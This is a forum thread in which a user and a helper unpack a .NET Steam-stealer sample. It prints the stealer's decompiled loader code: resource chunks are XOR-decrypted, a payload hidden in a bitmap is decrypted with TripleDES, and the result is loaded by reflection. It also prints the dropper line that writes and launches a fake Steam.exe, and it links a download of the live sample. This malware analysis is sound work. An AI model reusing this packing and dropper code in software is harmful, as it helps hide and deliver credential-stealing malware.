Meteor2142 Posted February 3, 2015 Posted February 3, 2015 Hello! Trying to find some info about unpacking "resource-packed" .NET FileThe target exe file is not confused, but it using some method that gets the "main" assembly from resources.Code getted in Reflector: internal class Program { private static Assembly GetAssembly(byte[] data) { Type type = typeof(Assembly); object[] args = new object[2]; args[1] = new object[] { data }; return (Assembly) LateBinding.LateGet(type.GetMethod("Load", new Type[] { typeof(byte[]) }), typeof(MethodInfo), "Invoke", args, new string[] { "obj", "parameters" }, new bool[2]); } private static void Main(string[] args) { Thread.Sleep(0); ResourceManager manager = new ResourceManager("ZxQbOfeoF", typeof(Program.Program).Assembly); byte[] array = new byte[0]; for (int i = 0; i < 0x132; i++) { byte[] buffer2 = (byte[]) manager.GetObject("xWEKqrlrDf" + i.ToString()); Array.Resize<byte>(ref array, array.Length + buffer2.Length); for (int k = 0; k < buffer2.Length; k++) { array[(array.Length - buffer2.Length) + k] = buffer2[k]; } } byte[] buffer3 = new byte[] { 0x4f, 0x3b, 0xfe, 0x54, 0xcc, 0x5f, 0x59, 9, 0x7c, 0x7f, 0xbf, 0xcf, 0xd9, 0xb0, 6, 0xbc, 0x3d, 0x8f, 1, 0x77, 0x98, 0x29, 0x43, 0x57 }; for (int j = 0; j < array.Length; j++) { for (int m = 0; m < buffer3.Length; m++) { array[j] = (byte) (array[j] ^ buffer3[m]); } } object[] objArray = new object[2]; objArray[1] = new object[] { args, "ZxQbOfeoF", "NpMWmkRviYKHySAiX", buffer3 }; LateBinding.LateCall(GetAssembly(array).GetType("VbyNEiCDdrFN.kgPvFFsXndfQiipVp").GetMethod("PhsdvnKJRGxOqQ"), typeof(MethodInfo), "Invoke", objArray, new string[] { "obj", "parameters" }, new bool[2]); } } }Anyone have an idea how to unpack this? The exe - http://www.filedropper.com/soft (yes, it is correct link, careful its a Steam Stealer)
kao Posted February 3, 2015 Posted February 3, 2015 (edited) That's one way how VisualBasic.NET deals with Reflection.Your code has 3 parts:1)ResourceManager manager = new ResourceManager("ZxQbOfeoF", typeof(Program.Program).Assembly);byte[] array = new byte[0];for (int i = 0; i < 0x132; i++){ byte[] buffer2 = (byte[]) manager.GetObject("xWEKqrlrDf" + i.ToString()); Array.Resize<byte>(ref array, array.Length + buffer2.Length); for (int k = 0; k < buffer2.Length; k++) { array[(array.Length - buffer2.Length) + k] = buffer2[k]; }}generates byte array from EXE resources.2)byte[] buffer3 = new byte[] { 0x4f, 0x3b, 0xfe, 0x54, 0xcc, 0x5f, 0x59, 9, 0x7c, 0x7f, 0xbf, 0xcf, 0xd9, 0xb0, 6, 0xbc, 0x3d, 0x8f, 1, 0x77, 0x98, 0x29, 0x43, 0x57 };for (int j = 0; j < array.Length; j++){ for (int m = 0; m < buffer3.Length; m++) { array[j] = (byte) (array[j] ^ buffer3[m]); }}decrypts the array. Result is byte array which contains a valid .NET assembly - you can save to disk and do whatever you want with it.3) the rest of code uses Reflection to load decrypted assembly in process and call method VbyNEiCDdrFN.kgPvFFsXndfQiipVp.PhsdvnKJRGxOqQ().You can copy-paste parts 1 & 2 into your program, add resource ZxQbOfeoF.resources to your program and run it to get a valid assembly, which you can save to disk.Or you can use WinDbg to dump decrypted assembly from memory of soft.exe process - this is faster, but probably harder for beginners.For both approaches there should be tutorials somewhere in the forum.EDIT 2x: typos. Edited February 3, 2015 by kao 1
Meteor2142 Posted February 3, 2015 Author Posted February 3, 2015 (edited) Hey, ty @kao! Succesfully dumped file, BUT it was not only file, but two files!After execution one file still work in inactive mode (lol, someone dont know whats is Process.Kill()); and second one is replacing original Steam.exeBut i don't understand why assemle has so weird class names: namespace Sosf5D9KcRSPqImGCy{ internal static class c000006 {..its code from replaced Steam.exe that i DONT dumped. Anyway code under classes is readable and workable, but...Its possible to get original clean file that extract fake Steam.exe from itself? I tried 1st method, but Visual Studio refused .resource file. Used dotPeek, but get an error when running program "missing resource"... Any another advises?TY so much for helping! UPD: k, i get it, the Stealer uses this method to exctract fake steam File.WriteAllBytes(Uk86GInoe + @"\Steam.exe", Resources.Steam); Process.Start(Uk86GInoe + @"\Steam.exe");Resources.Steam is a couple of bytes that performed into exe. Questions are same, how to get more clean assembles? Edited February 3, 2015 by Meteor2142
Meteor2142 Posted February 4, 2015 Author Posted February 4, 2015 UPD2: Just tried to make own project like in 1st part, so how to "save" decrypted file?Tried File.WriteAllBytes(@"test.exe", array); But got only one file - kloader.dll (original name) with kinda obfuscated names public static void PhsdvnKJRGxOqQ(string[] args, string resname, string imgloc, byte[] k)Code of Kloader.dll public static void PhsdvnKJRGxOqQ(string[] args, string resname, string imgloc, byte[] k) { try { ResourceManager manager = new ResourceManager(resname, Assembly.GetEntryAssembly()); Bitmap bitmap = (Bitmap) manager.GetObject(imgloc); BitmapData data = bitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadOnly, bitmap.PixelFormat); byte[] destination = new byte[(bitmap.Width * bitmap.Height) * 4]; PixelFormat pixelFormat = bitmap.PixelFormat; Marshal.Copy(data.Scan0, destination, 0, destination.Length); byte[] destinationArray = new byte[BitConverter.ToInt32(destination, 0)]; Array.Copy(destination, 4, destinationArray, 0, destinationArray.Length); TripleDESCryptoServiceProvider provider = new TripleDESCryptoServiceProvider { Key = k }; destinationArray = provider.CreateDecryptor().TransformFinalBlock(destinationArray, 0, destinationArray.Length); for (int i = 0; i < destinationArray.Length; i++) { for (int j = 0; j < k.Length; j++) { destinationArray[i] = (byte) (destinationArray[i] ^ k[j]); } } Array.Reverse(destinationArray); Assembly.Load(destinationArray).EntryPoint.Invoke(null, new object[] { args }); } catch (Exception exception) { MessageBox.Show(exception.Message); } }
kao Posted February 4, 2015 Posted February 4, 2015 It is very similar to previous code - it generates byte array from EXE resources (specifically, resource ZxQbOfeoF.NpMWmkRviYKHySAiX), decrypts assembly and loads it. Again, you could copy-paste the decryption code, add resources to your EXE and get the 2nd assembly. 1
Meteor2142 Posted February 4, 2015 Author Posted February 4, 2015 So, my question is how to save clean file? Sorry im kinda newbie, but i really need this Here is my Main method ResourceManager manager = new ResourceManager("Program.Properties.ZxQbOfeoF", Assembly.GetExecutingAssembly()); byte[] array = new byte[0]; Random rnd = new Random(); for (int i = 0; i < 0x132; i++) { byte[] buffer2 = (byte[])manager.GetObject("xWEKqrlrDf" + i.ToString()); Array.Resize<byte>(ref array, array.Length + buffer2.Length); for (int k = 0; k < buffer2.Length; k++) { array[(array.Length - buffer2.Length) + k] = buffer2[k]; } } byte[] buffer3 = new byte[] { 0x4f, 0x3b, 0xfe, 0x54, 0xcc, 0x5f, 0x59, 9, 0x7c, 0x7f, 0xbf, 0xcf, 0xd9, 0xb0, 6, 0xbc, 0x3d, 0x8f, 1, 0x77, 0x98, 0x29, 0x43, 0x57 }; for (int j = 0; j < array.Length; j++) { for (int m = 0; m < buffer3.Length; m++) { array[j] = (byte)(array[j] ^ buffer3[m]); } } File.WriteAllBytes(@"test.exe", array);This just save file test.exe (original kloader.dll), and nothing else.
kao Posted February 4, 2015 Posted February 4, 2015 (edited) 1) Hmm, have you tried running the original EXE and dump it using MegaDumper by CodeCracker? That could be the easiest way.2) From the top of my head (probably will not compile): byte[] k = new byte[] { 0x4f, 0x3b, 0xfe, 0x54, 0xcc, 0x5f, 0x59, 9, 0x7c, 0x7f, 0xbf, 0xcf, 0xd9, 0xb0, 6, 0xbc, 0x3d, 0x8f, 1, 0x77, 0x98, 0x29, 0x43, 0x57 }; ResourceManager manager = new ResourceManager("Program.Properties.ZxQbOfeoF", Assembly.GetExecutingAssembly()); Bitmap bitmap = (Bitmap) manager.GetObject("NpMWmkRviYKHySAiX"); BitmapData data = bitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadOnly, bitmap.PixelFormat); byte[] destination = new byte[(bitmap.Width * bitmap.Height) * 4]; PixelFormat pixelFormat = bitmap.PixelFormat; Marshal.Copy(data.Scan0, destination, 0, destination.Length); byte[] destinationArray = new byte[BitConverter.ToInt32(destination, 0)]; Array.Copy(destination, 4, destinationArray, 0, destinationArray.Length); TripleDESCryptoServiceProvider provider = new TripleDESCryptoServiceProvider { Key = k; }; destinationArray = provider.CreateDecryptor().TransformFinalBlock(destinationArray, 0, destinationArray.Length); for (int i = 0; i < destinationArray.Length; i++) { for (int j = 0; j < k.Length; j++) { destinationArray[i] = (byte) (destinationArray[i] ^ k[j]); } } Array.Reverse(destinationArray); File.WriteAllBytes(@"bla.exe", destinationArray);EDIT: maybe now it will compile Edited February 4, 2015 by kao
Meteor2142 Posted February 4, 2015 Author Posted February 4, 2015 Ok, i tried to dump with different ways, but seems "obfuscated" names is not literaly obf. but original, and wroted by author.Thanks for help Kao!Solved by dumping with MegaDumper original file + then opened in reflector and saved second fake Steam from resources!
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now